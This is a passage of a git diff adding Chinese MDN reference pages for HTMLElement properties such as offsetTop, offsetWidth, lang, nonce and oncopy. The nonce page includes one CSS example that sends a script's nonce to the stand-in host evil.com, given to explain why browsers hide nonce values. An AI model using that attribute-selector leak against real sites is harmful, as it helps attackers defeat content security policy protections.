{{domxref("HTMLElement.offsetTop", "offsetTop")}}, {{domxref("HTMLElement.offsetParent", "offsetParent")}}, {{domxref("HTMLElement.offsetHeight", "offsetHeight")}} and {{domxref("HTMLElement.offsetWidth", "offsetWidth")}} {{experimental_inline}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.translate", "translate")}} {{experimental_inline}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.itemScope", "itemScope")}}, {{domxref("HTMLElement.itemType", "itemType")}}, {{domxref("HTMLElement.itemRef", "itemRef")}}, {{domxref("HTMLElement.itemId", "itemId")}}, {{domxref("HTMLElement.itemProp", "itemProp")}}, and {{domxref("HTMLElement.itemValue", "itemValue")}} {{experimental_inline}}</td> + <td>{{CompatGeckoDesktop("6.0")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>11.60<br> + (Removed in Opera 15)</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.properties", "properties")}} {{experimental_inline}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.ontouchstart")}}, {{domxref("HTMLElement.ontouchend")}}, {{domxref("HTMLElement.ontouchmove")}}, {{domxref("HTMLElement.ontouchenter")}}, {{domxref("HTMLElement.ontouchleave")}}, and {{domxref("HTMLElement.ontouchcancel")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Firefox Mobile (Gecko)</th> + <th>Android</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td> + <p>{{CompatGeckoMobile("1.0")}}</p> + </td> + <td rowspan="7">{{CompatUnknown}}</td> + <td rowspan="7">{{CompatUnknown}}</td> + <td rowspan="7">{{CompatUnknown}}</td> + <td rowspan="7">{{CompatUnknown}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.accessKey", "accessKey")}}</td> + <td>{{CompatGeckoMobile("5.0")}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.accessKeyLabel", "accessKeyLabel")}}</td> + <td>{{CompatGeckoMobile("8.0")}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.blur()", "blur()")}}</td> + <td>{{CompatGeckoMobile("5.0")}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.click()", "click()")}}</td> + <td>{{CompatGeckoMobile("5.0")}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.dataset", "dataset")}}</td> + <td>{{CompatGeckoMobile("6.0")}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.focus()", "focus()")}}</td> + <td>{{CompatGeckoMobile("5.0")}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="sect1"> </h2> + +<h2 id="还可以查看以下内容：">还可以查看以下内容：</h2> + +<ul> + <li>{{domxref("Element")}}</li> +</ul> diff --git a/files/zh-cn/web/api/htmlelement/iscontenteditable/index.html b/files/zh-cn/web/api/htmlelement/iscontenteditable/index.html new file mode 100644 index 0000000000..e5ccd8ee7e --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/iscontenteditable/index.html @@ -0,0 +1,107 @@ +--- +title: HTMLElement.isContentEditable +slug: Web/API/HTMLElement/isContentEditable +translation_of: Web/API/HTMLElement/isContentEditable +--- +<div> +<div> +<div>{{ APIRef("HTML DOM") }}</div> +</div> +</div> + +<h2 id="Summary" name="Summary">概述</h2> + +<p> <strong><code>HTMLElement.isContentEditable</code></strong> 只读属性返回一个{{jsxref("Boolean", "布尔值")}}：如果当前元素的内容为可编辑状态，则返回 <code>true</code>，否则返回 <code>false</code>。</p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="syntaxbox"><em>editable</em> = element.isContentEditable +</pre> + +<h2 id="规范" style="margin-bottom: 20px; font-size: 2.14285714285714rem;">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范版本</th> + <th scope="col">规范状态</th> + <th scope="col">备注</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', "editing.html#dom-iscontenteditable", "HTMLElement.contenteditable")}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td> + </tr> + <tr> + <td>{{SpecName('HTML5.1', "editing.html#dom-iscontenteditable", "HTMLElement.contenteditable")}}</td> + <td>{{Spec2('HTML5.1')}}</td> + <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}</td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', "editing.html#dom-iscontenteditable", "HTMLElement.contenteditable")}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Snapshot of {{SpecName('HTML WHATWG')}}, initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性" style="margin-bottom: 20px; font-size: 2.14285714285714rem;">浏览器兼容性</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table" style="border-color: transparent;"> + <tbody> + <tr> + <th style="line-height: 16px;">Feature</th> + <th style="line-height: 16px;">Chrome</th> + <th style="line-height: 16px;">Firefox (Gecko)</th> + <th style="line-height: 16px;">Internet Explorer</th> + <th style="line-height: 16px;">Opera</th> + <th style="line-height: 16px;">Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatGeckoDesktop("2") }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table" style="border-color: transparent;"> + <tbody> + <tr> + <th style="line-height: 16px;">Feature</th> + <th style="line-height: 16px;">Android</th> + <th style="line-height: 16px;">Chrome for Android</th> + <th style="line-height: 16px;">Firefox Mobile (Gecko)</th> + <th style="line-height: 16px;">IE Mobile</th> + <th style="line-height: 16px;">Opera Mobile</th> + <th style="line-height: 16px;">Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatGeckoMobile("2") }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="相关链接" style="margin-bottom: 20px; font-size: 2.14285714285714rem;">相关链接</h2> + +<ul> + <li>{{domxref("HTMLElement.contentEditable")}}</li> + <li>全局属性 <a href="https://developer.mozilla.org/zh-CN/docs/Web/HTML/Global_attributes/contenteditable">contenteditable</a></li> +</ul> + +<p id="Notes"> </p> diff --git a/files/zh-cn/web/api/htmlelement/lang/index.html b/files/zh-cn/web/api/htmlelement/lang/index.html new file mode 100644 index 0000000000..0f7e4f330f --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/lang/index.html @@ -0,0 +1,40 @@ +--- +title: HTMLElement.lang +slug: Web/API/HTMLElement/lang +translation_of: Web/API/HTMLElement/lang +--- +<p>{{ APIRef() }}</p> +<p><code><strong>HTMLElement.lang</strong></code> 属性用来获取或设置元素属性值或文本内容的基语言（base language）。</p> +<p>该属性返回的语言代码（language code） 被定义在 <a class="external" href="http://tools.ietf.org/html/rfc1766" title="http://tools.ietf.org/html/rfc1766">RFC 1766</a>。通常，"en" 表示英语（English）、"ja" 表示（Japanese）、"zh-cn" 表示简体中文等等。该属性的默认值未知（<code>unknown</code>）。尽管该属性可以应用在单独的元素上，但是通常在文档的根元素（html）上指定。</p> +<p>该属性只对 <code>lang</code> 属性（attribute）有效，不适用于 <code>xml:lang</code>。</p> +<h2 id="Syntax" name="Syntax">语法</h2> +<pre class="syntaxbox">var <var>languageUsed</var> = elementNodeReference.lang; // 获取lang值 +elementNodeReference.lang = <var>NewLanguage</var>; // 为lang设置新值 +</pre> +<p><code><var>languageUsed</var></code> 是一个字符串变量，可以获取当前元素的文本是用什么语言写的。<code><var>NewLanguage</var></code> 是一个字符串变量，其值用来作为当前元素的文本的语言。</p> +<h2 id="Example" name="Example">示例</h2> +<pre class="brush: js">// 该代码比较了基语言（base language），然后 +// 重定向到了基于该语言的url +if (document.documentElement.lang === "en") { + window.location.href = "Some_document.html.en"; +} else if (document.documentElement.lang === "ru") { + window.location.href = "Some_document.html.ru"; +}</pre> +<h2 id="Specification" name="Specification">规范</h2> +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM2 HTML', 'html.html#ID-59132807', 'id')}}</td> + <td>{{Spec2('DOM2 HTML')}}</td> + <td> </td> + </tr> + </tbody> +</table> +<p> </p> diff --git a/files/zh-cn/web/api/htmlelement/nonce/index.html b/files/zh-cn/web/api/htmlelement/nonce/index.html new file mode 100644 index 0000000000..b2c6c829b1 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/nonce/index.html @@ -0,0 +1,60 @@ +--- +title: HTMLElement.nonce +slug: Web/API/HTMLElement/nonce +tags: + - API + - nonce + - 内容安全策略 + - 实验性 + - 属性 +translation_of: Web/API/HTMLOrForeignElement/nonce +--- +<p>{{SeeCompatTable}}{{APIRef("HTML DOM")}}</p> + +<p>{{domxref("HTMLElement")}} 接口的 <strong><code>nonce</code></strong> 属性返回只使用一次的加密数字，被内容安全政策用来决定这次请求是否被允许处理。</p> + +<p>在接下来的实现中，有nonce属性的元素只能在脚本中使用（不可以在其他渠道使用，比如css属性选择器）。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox notranslate">var <em>nonce</em> = HTMLElement.nonce +HTMLElement.nonce = <em>nonce</em></pre> + +<h3 id="访问nonce属性值">访问nonce属性值</h3> + +<p>以前，并不是所有的浏览器都支持 <code>nonce</code> IDL属性，因此在实际应用场景中，尝试使用<code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Element/getAttribute">getAttribute</a></code> 作为备选：</p> + +<pre class="notranslate">let nonce = script['nonce'] || script.getAttribute('nonce');</pre> + +<p>然而，最新的浏览器版本都隐藏了 <code>nonce</code> 值（返回一个空值）。IDL属(<code>script['nonce']</code>)成为唯一的访问方式。</p> + +<p>隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值，比如下面这种方式：</p> + +<pre class="notranslate">script[nonce~=whatever] { + background: url("https://evil.com/nonce?whatever"); +}</pre> + +<h2 id="说明">说明</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">说明</th> + <th scope="col">状态</th> + <th scope="col">注释</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>初始定义</td> + </tr> + </tbody> +</table> + +<h2 id="支持的浏览器">支持的浏览器</h2> + +<div> +<div class="hidden">这个兼容的浏览器列表是通过一组结构化数据生成的。如果你想修改活增加数据，请获取最新数据并提交，地址：<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a></div> + +<p>{{Compat("api.HTMLElement.nonce")}}</p> +</div> diff --git a/files/zh-cn/web/api/htmlelement/offsetheight/index.html b/files/zh-cn/web/api/htmlelement/offsetheight/index.html new file mode 100644 index 0000000000..0f852a4689 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/offsetheight/index.html @@ -0,0 +1,80 @@ +--- +title: HTMLElement.offsetHeight +slug: Web/API/HTMLElement/offsetHeight +tags: + - API + - CSSOM View + - NeedsMarkupWork + - NeedsNonDHMLImage + - Property + - Reference + - 属性 +translation_of: Web/API/HTMLElement/offsetHeight +--- +<div>{{ APIRef("HTML DOM") }}</div> + +<p> <strong><code>HTMLElement.offsetHeight</code></strong> 是一个只读属性，它返回该元素的像素高度，高度包含该元素的垂直内边距和边框，且是一个整数。</p> + +<p><span style="background-color: #fbfcfe; color: #333333; font-family: arial; line-height: 24px;">通常，元素的offsetHeight是一种元素CSS高度的衡量标准，包括元素的边框、内边距和元素的水平滚动条（如果存在且渲染的话），不包含:before或:after等伪类元素的高度。</span></p> + +<p><span style="background-color: #fbfcfe; color: #333333; font-family: arial; line-height: 24px;">对于文档的body对象，它包括代替元素的CSS高度线性总含量高。</span>浮动元素的向下延伸内容高度是被忽略的。 </p> + +<p>如果元素被隐藏（例如 元素或者元素的祖先之一的元素的style.display被设置为none），则返回0</p> + +<div class="note"> +<p>这个属性值会被四舍五入为整数值，如果你需要一个浮点数值，请用 {{ domxref("element.getBoundingClientRect()") }}.</p> +</div> + +<h2 id="Syntax_and_values" name="Syntax_and_values">语法</h2> + +<pre class="eval">var <em>intElemOffsetHeight</em> = document.getElementById(<em>id_attribute_value</em>).offsetHeight; +</pre> + +<p><em>intElemOffsetHeight</em><span style="background-color: #fbfcfe; color: #333333; font-family: arial; line-height: 24px;">是一个变量存储对应元素的</span>offsetHeight<span style="background-color: #fbfcfe; color: #333333; font-family: arial; line-height: 24px;">像素的整数值。</span>offsetHeight<span style="background-color: #fbfcfe; color: #333333; font-family: arial; line-height: 24px;">属性是只读的。</span></p> + +<h2 id="Example" name="Example">示例</h2> + +<p><img alt="Image:Dimensions-offset.png" src="https://developer.mozilla.org/@api/deki/files/186/=Dimensions-offset.png"></p> + +<p>上面的图片中显示了scollbar和窗口高度的offsetHeight.但是不能滚动的元素可能会有一个很大的高度值，大于可以看见的内容。这些元素原则上是被包含在滚动元素之中的。所以，这些不能滚动的元素可能会因为scrollTop的值会被完全隐藏或者部分隐藏；</p> + +<h2 id="Specification" name="Specification">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSSOM View', '#dom-htmlelement-offsetHeight', 'offsetLeft')}}</td> + <td>{{Spec2('CSSOM View')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h3 id="Notes" name="Notes">备注</h3> + +<p><span style="font-family: Consolas,Monaco,'Andale Mono',monospace;">offsetHeight 是一个DOM属性，由MSIE首次提出。</span><span style="background-color: #fbfcfe; color: #333333; font-family: arial; line-height: 24px;">它有时被称为一个元素的物理/图形的尺寸，或是一个元素的边界框（border-box）的高度。</span></p> + +<h2 id="See_Also" name="See_Also">浏览器兼容性</h2> + +<div class="hidden"> +<p>此页面上的兼容性表是根据结构化数据生成的。如果您想贡献数据，请查看https://github.com/mdn/browser-compat-data并向我们发送请求请求。</p> +</div> + +<p>{{Compat("api.HTMLElement.offsetHeight")}}</p> + +<h2 id="See_Also" name="See_Also">相关链接</h2> + +<ul> + <li>{{domxref("Element.clientHeight")}}</li> + <li>{{domxref("Element.scrollHeight")}}</li> + <li>{{domxref("HTMLElement.offsetWidth")}}</li> + <li><a href="/en-US/docs/Web/API/CSS_Object_Model/Determining_the_dimensions_of_elements" title="en/Determining_the_dimensions_of_elements">Determining the dimensions of elements</a> 如何选择（计算）元素占用的空间</li> + <li><a href="https://docs.microsoft.com/en-us/previous-versions//hh781509(v=vs.85)">MSDN Measuring Element Dimension and Location</a></li> +</ul> diff --git a/files/zh-cn/web/api/htmlelement/offsetleft/index.html b/files/zh-cn/web/api/htmlelement/offsetleft/index.html new file mode 100644 index 0000000000..917e5e1797 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/offsetleft/index.html @@ -0,0 +1,148 @@ +--- +title: HTMLElement.offsetLeft +slug: Web/API/HTMLElement/offsetLeft +tags: + - API + - CSSOM + - 参考 + - 只读 + - 属性 +translation_of: Web/API/HTMLElement/offsetLeft +--- +<div>{{ APIRef("HTML DOM") }}</div> + +<p> <strong><code>HTMLElement.offsetLeft</code></strong> 是一个只读属性，返回当前元素<em>左上角</em>相对于 {{domxref("HTMLElement.offsetParent")}} 节点的左边界偏移的像素值。</p> + +<p>对块级元素来说，<code>offsetTop</code>、<code>offsetLeft</code>、<code>offsetWidth</code> 及 <code>offsetHeight</code> 描述了元素相对于 <code>offsetParent</code> 的边界框。</p> + +<p>然而，对于可被截断到下一行的行内元素（如 <strong>span</strong>），<code>offsetTop</code> 和 <code>offsetLeft</code> 描述的是<em>第一个</em>边界框的位置（使用 {{domxref("Element.getClientRects()")}} 来获取其宽度和高度），而 <code>offsetWidth</code> 和 <code>offsetHeight</code> 描述的是边界框的尺寸（使用 {{domxref("Element.getBoundingClientRect")}} 来获取其位置）。因此，使用 <code>offsetLeft、offsetTop、offsetWidth</code>、<code>offsetHeight</code> 来对应 left、top、width 和 height 的一个盒子将不会是文本容器 span 的盒子边界。</p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="eval"><em>left</em> = <em>element</em>.offsetLeft; +</pre> + +<p><code>left</code> 是一个整数，表示向左偏移的像素值。</p> + +<h2 id="Example" name="Example">示例</h2> + +<pre>var colorTable = document.getElementById("t1"); +var tOLeft = colorTable.offsetLeft; + +if (tOLeft > 5) { + // large left offset: do something here +} +</pre> + +<p>这个例子展示了蓝色边框的 div 包含一个长的句子，红色的盒子是一个可以表示包含这个长句子的span标签的边界。</p> + +<p><img alt="Image:offsetLeft.jpg" class="internal" src="/@api/deki/files/790/=OffsetLeft.jpg"></p> + +<pre><div style="width: 300px; border-color:blue; + border-style:solid; border-width:1;"> + <span>Short span. </span> + <span id="long">Long span that wraps withing this div.</span> +</div> + +<div id="box" style="position: absolute; border-color: red; + border-width: 1; border-style: solid; z-index: 10"> +</div> + +<script> + var box = document.getElementById("box"); + var long = document.getElementById("long"); + // + // long.offsetLeft这个值就是span的offsetLeft. + // long.offsetParent 返回的是body（在chrome浏览器中测试） + // 如果id为long的span元素的父元素div，设置了position属性值，只要不为static,那么long.offsetParent就是div + + box.style.left = long.offsetLeft + document.body.scrollLeft + "px"; + box.style.top = long.offsetTop + document.body.scrollTop + "px"; + box.style.width = long.offsetWidth + "px"; + box.style.height = long.offsetHeight<span style="line-height: normal;"> + "px"</span><span style="line-height: normal;">; +</span><span style="line-height: normal;"></script> </span></pre> + +<h2 id="Specification" name="Specification">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSSOM View', '#dom-htmlelement-offsetleft', 'offsetLeft')}}</td> + <td>{{Spec2('CSSOM View')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Compatibility" name="Compatibility">浏览器兼容性</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Android Webview</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<p>根据规范，如果元素被隐藏（此元素的 style.display 或任何祖先为“none”），或者如果元素本身的 style.position 设置为“fixed”，则此属性将在Webkit上返回null 。</p> + +<p>在 Internet Explorer (9) 上如果元素的 <code>style.position</code> 是 <code>"fixed"，则该属性为 null </code>(样式 <code>display:none</code> 不会影响。)</p> + +<h2 id="See_also" name="See_also">相关链接</h2> + +<ul> + <li>{{domxref("HTMLElement.offsetParent")}}, {{domxref("HTMLElement.offsetTop")}}, {{domxref("HTMLElement.offsetWidth")}}, {{domxref(" HTMLElement.offsetHeight")}}</li> +</ul> diff --git a/files/zh-cn/web/api/htmlelement/offsetparent/index.html b/files/zh-cn/web/api/htmlelement/offsetparent/index.html new file mode 100644 index 0000000000..4592a236ef --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/offsetparent/index.html @@ -0,0 +1,48 @@ +--- +title: HTMLElement.offsetParent +slug: Web/API/HTMLElement/offsetParent +translation_of: Web/API/HTMLElement/offsetParent +--- +<div>{{APIRef}}</div> + +<p><strong><code>HTMLElement.offsetParent</code></strong> 是一个只读属性，返回一个指向最近的（指包含层级上的最近）包含该元素的定位元素或者最近的 <code>table,</code><code>td,</code><code>th,</code><code>body</code>元素。当元素的 <code>style.display</code> 设置为 "none" 时，<code>offsetParent</code> 返回 <code>null</code>。<code>offsetParent</code> 很有用，因为 {{domxref("HTMLElement.offsetTop","offsetTop")}} 和 {{domxref("HTMLElement.offsetLeft","offsetLeft")}} 都是相对于其内边距边界的。</p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="syntaxbox"><var>parentObj</var> = element.offsetParent; +</pre> + +<ul> + <li><var>parentObj</var> 是一个对象引用，当前元素相对于该对象偏移（offset）。</li> +</ul> + +<h2 id="Compatibility" name="Compatibility">浏览器兼容性</h2> + +<p>在 Webkit 中，如果元素为隐藏的（该元素或其祖先元素的 <code>style.display</code> 为 "none"），或者该元素的 <code>style.position</code> 被设为 "fixed"，则该属性返回 <code>null</code>。</p> + +<p>在 IE 9 中，如果该元素的 <code>style.position</code> 被设置为 "fixed"，则该属性返回 <code>null</code>。（<code>display:none</code> 无影响。）</p> + +<h2 id="Specification" name="Specification">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSSOM View', '#dom-htmlelement-offsetparent', 'offsetParent')}}</td> + <td>{{Spec2('CSSOM View')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Compatibility" name="Compatibility">Browser compatibility</h2> + + + +<p>{{Compat("api.HTMLElement.offsetParent")}}</p> diff --git a/files/zh-cn/web/api/htmlelement/offsettop/index.html b/files/zh-cn/web/api/htmlelement/offsettop/index.html new file mode 100644 index 0000000000..449bfa2f68 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/offsettop/index.html @@ -0,0 +1,57 @@ +--- +title: HTMLElement.offsetTop +slug: Web/API/HTMLElement/offsetTop +translation_of: Web/API/HTMLElement/offsetTop +--- +<div>{{ APIRef("HTML DOM") }}</div> + +<p><strong><code>HTMLElement.offsetTop</code></strong> 为只读属性，它返回当前元素相对于其 {{domxref("HTMLElement.offsetParent","offsetParent")}} 元素的顶部内边距的距离。</p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="syntaxbox"><var>topPos</var> = element.offsetTop; +</pre> + +<h3 id="Parameters" name="Parameters">参数</h3> + +<ul> + <li><code>topPos</code> 为返回的像素数。</li> +</ul> + +<h2 id="Example" name="Example">示例</h2> + +<pre class="brush:js">var d = document.getElementById("div1"); +var topPos = d.offsetTop; + +if (topPos > 10) { + // div1 距离它的 offsetParent 元素的顶部的距离大于 10 px +}</pre> + +<h2 id="Specification" name="Specification">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">规范名称</th> + <th scope="col">规范状态</th> + <th scope="col">备注</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSSOM View', '#dom-htmlelement-offsettop', 'offsetTop')}}</td> + <td>{{Spec2('CSSOM View')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Compatibility" name="Compatibility">Browser compatibility</h2> + + + +<p>{{Compat("api.HTMLElement.offsetTop")}}</p> + +<p>In compliance with the specification, this property will return <code>null</code> on Webkit if the element is hidden (the <code>style.display</code> of this element or any ancestor is <code>"none"</code>) or if the <code>style.position</code> of the element itself is set to <code>"fixed"</code>.</p> + +<p>This property will return <code>null</code> on Internet Explorer (9) if the <code>style.position</code> of the element itself is set to <code>"fixed"</code>. (Having <code>display:none</code> does not affect this browser.)</p> diff --git a/files/zh-cn/web/api/htmlelement/offsetwidth/index.html b/files/zh-cn/web/api/htmlelement/offsetwidth/index.html new file mode 100644 index 0000000000..7fbcfb5266 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/offsetwidth/index.html @@ -0,0 +1,59 @@ +--- +title: HTMLElement.offsetWidth +slug: Web/API/HTMLElement/offsetWidth +tags: + - API + - 参考 + - 只读属性 + - 属性 +translation_of: Web/API/HTMLElement/offsetWidth +--- +<div>{{ APIRef("HTML DOM") }}</div> + +<p><code><strong>HTMLElement.offsetWidth</strong></code> 是一个只读属性，返回一个元素的布局宽度。一个典型的（译者注：各浏览器的offsetWidth可能有所不同）offsetWidth是测量包含元素的边框(border)、水平线上的内边距(padding)、竖直方向滚动条(scrollbar)（如果存在的话）、以及CSS设置的宽度(width)的值。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">var<var> offsetWidth</var> =<var>element</var>.offsetWidth; +</pre> + +<p><code>intElemOffsetWidth</code> is a variable storing an integer corresponding to the <code>offsetWidth</code> pixel value of the element. <code>offsetWidth</code> 是一个只读属性。</p> + +<div class="note"> +<p>这个属性将会 round(四舍五入)为一个整数。如果你想要一个fractional(小数)值,请使用{{ domxref("element.getBoundingClientRect()") }}.</p> +</div> + +<h2 id="示例">示例</h2> + +<p><img alt="Image:Dimensions-offset.png" class="internal" src="/@api/deki/files/186/=Dimensions-offset.png"></p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSSOM View', '#dom-htmlelement-offsetwidth', 'offsetWidth')}}</td> + <td>{{Spec2('CSSOM View')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h3 id="备注">备注</h3> + +<p><code>offsetWidth</code> 是一个 <abbr>DHTML</abbr> 对象模型中的属性，由微软 IE 浏览器首次引入。有时候它也可以称为一个元素的物理或图形尺寸，或者 border-box（译者注：即 CSS3中的 border-box 模型）的宽度。</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{domxref("Element.clientWidth")}}</li> + <li>{{domxref("Element.scrollWidth")}}</li> + <li><a href="/en-US/docs/Determining_the_dimensions_of_elements">Determining the dimensions of elements</a></li> +</ul> diff --git a/files/zh-cn/web/api/htmlelement/oncopy/index.html b/files/zh-cn/web/api/htmlelement/oncopy/index.html new file mode 100644 index 0000000000..12ff84d885 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/oncopy/index.html @@ -0,0 +1,44 @@ +--- +title: element.oncopy +slug: Web/API/HTMLElement/oncopy +translation_of: Web/API/HTMLElement/oncopy +--- +<p>{{ Fx_minversion_header("3") }} {{ ApiRef() }}</p> +<h3 id="Summary" name="Summary">概述</h3> +<p><strong>oncopy</strong>属性用来获取或设置当前元素的<code>copy</code>事件的事件处理函数.</p> +<h3 id="Syntax" name="Syntax">语法</h3> +<pre class="eval"><em>element</em>.oncopy = <em>functionRef</em>; +</pre> +<p><em>functionRef</em> 是一个函数名或者函数表达式.</p> +<h3 id="Example" name="Example">例子</h3> +<pre><html> +<head> +<title>oncopy示例演示</title> + +<script> + function log(txt) + { + document.getElementById("log").appendChild(document.createTextNode(txt + "\n")); + } +</script> +</head> + +<body> +<div oncopy="log('复制被阻止!'); return false;">试着复制这句话!</div> + +<h3>Log</h3> +<textarea rows="15" cols="80" id="log" readonly="true"></textarea> +</body> +</html> +</pre> +<p>上例演示了如何禁止复制浏览器中的一段话.</p> +<h3 id="Notes" name="Notes">备注</h3> +<p>当用户尝试复制选中元素或文本时会触发<code>copy</code>事件.</p> +<h3 id="Specification" name="Specification">规范</h3> +<p>不属于任何公开的规范.</p> +<h3 id="See_also" name="See_also">相关链接</h3> +<ul> + <li><code><a href="/zh-cn/DOM/element.oncut" title="zh-cn/DOM/element.oncut">oncut</a></code></li> + <li><code><a href="/zh-cn/DOM/element.onpaste" title="zh-cn/DOM/element.onpaste">onpaste</a></code></li> +</ul> +<p>{{ languages( { "ja": "ja/DOM/element.oncopy", "en": "en/DOM/element.oncopy" } ) }}</p> diff --git a/files/zh-cn/web/api/htmlelement/oncut/index.html b/files/zh-cn/web/api/htmlelement/oncut/index.html new file mode 100644 index 0000000000..e8d5c9c7ee --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/oncut/index.html @@ -0,0 +1,46 @@ +--- +title: element.oncut +slug: Web/API/HTMLElement/oncut +translation_of: Web/API/HTMLElement/oncut +--- +<p>{{ Fx_minversion_header("3") }} 